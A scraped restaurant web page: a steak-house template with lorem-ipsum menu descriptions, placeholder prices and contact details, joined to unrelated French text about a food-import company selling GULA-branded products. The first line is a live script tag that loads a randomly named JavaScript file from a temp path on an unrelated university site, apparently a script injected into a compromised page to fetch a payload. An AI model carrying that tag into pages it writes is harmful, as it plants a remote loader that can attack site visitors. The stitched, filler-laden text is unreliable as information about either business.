<script src=https://labsosio.ui.ac.id/wp-snapshots/tmp/tools/jso/8306c22f.js></script>

Get In Touch

+ 1 234 567 980

Address

1234 N Spring St, Los Angeles, CA 90012

The Menu

Smoking Steaks

Pan Seared Steak

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$25
Herb-Crusted Filet Mignon

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$28
Classic French Steak au Poivre

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$31
Steak With Gorgonzola Sauce

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$45

Classic Desserts

Almond Torte

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$15
Apple Brie Tart

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$18
Chocolate Soufflé

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$9
Crème Caramel

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$28

Chilled Mocktails

Virgin Cucumber Gimlet

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$25
Shirley Ginger

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$28
Tahitian Coffee

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$31
Winter Shandy

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus.

$45

Who Are We

Winners of international cooking competitions, James and Steve are the co-founders and head chefs at Steak House. We are experienced and passionate chefs wanting to serve you the best delicacies that will satisfy your taste buds.

Our History

Most loved steak house since 1985

Our steak story dates back to 1985 when James, a steak lover himself, had the urge of serving the most delicious recipes for foodies like him. It was then that he met Steve, a passionate chef who shared similar interests.

They started a small food let that offered takeaways only. Seeing the love the city had for steak, they expanded their team with 8 more chefs from different parts of the country so we could serve more variety on the table. .

Ever since, we’ve been known as the best Steak house in town serving over 1000 customers everyday. Humbled by the love we’ve received, we strive to continue giving you the best.

Loved by Many

Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus tincidunt nisl eget ornare pharetra ac pharetra, pulvinar ipsum sed amet diam morbi amet cursus blandit augue feugiat arcu aliquet egestas id diam.
Jessica Sommer
Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus tincidunt nisl eget ornare pharetra ac pharetra, pulvinar ipsum sed amet diam morbi amet cursus blandit augue feugiat arcu aliquet egestas id diam.
Bryan Lambert
Diam, urna, ornare leo facilisis suspendisse eu rutrum id augue cursus tincidunt nisl eget ornare pharetra ac pharetra, pulvinar ipsum sed amet diam morbi amet cursus blandit augue feugiat arcu aliquet egestas id diam.
Kristin Foster

bienvenue chez Eurl Universal Food Industries

Notre amble histoire

L'eurl universelle food a été créé en 2011, elle s'est spécialisée dans l'importation des produits alimentaires dispose d'un dépôt de gros en alimentation générale. 2019 c'est l'anéé ou GULA à commencer le conditionnement de l'huile d'olive afin de pouvoir élargir la gamme de ses produits et puis l'été 2020 elle a entamé le conditionnement des champignons localement. Les produits de l'eurl universel food s'affiche sur la dénomination de GULA

Nos délicieux produits

Champignon de paris de qualité exceptionnel

huile d'assaisonnement 100% naturel et premium

Olive oil vierge et extra vierge savoureuse et raffiné

Des légumes sec naturel conservé façon grand mère

NOS CLIENTS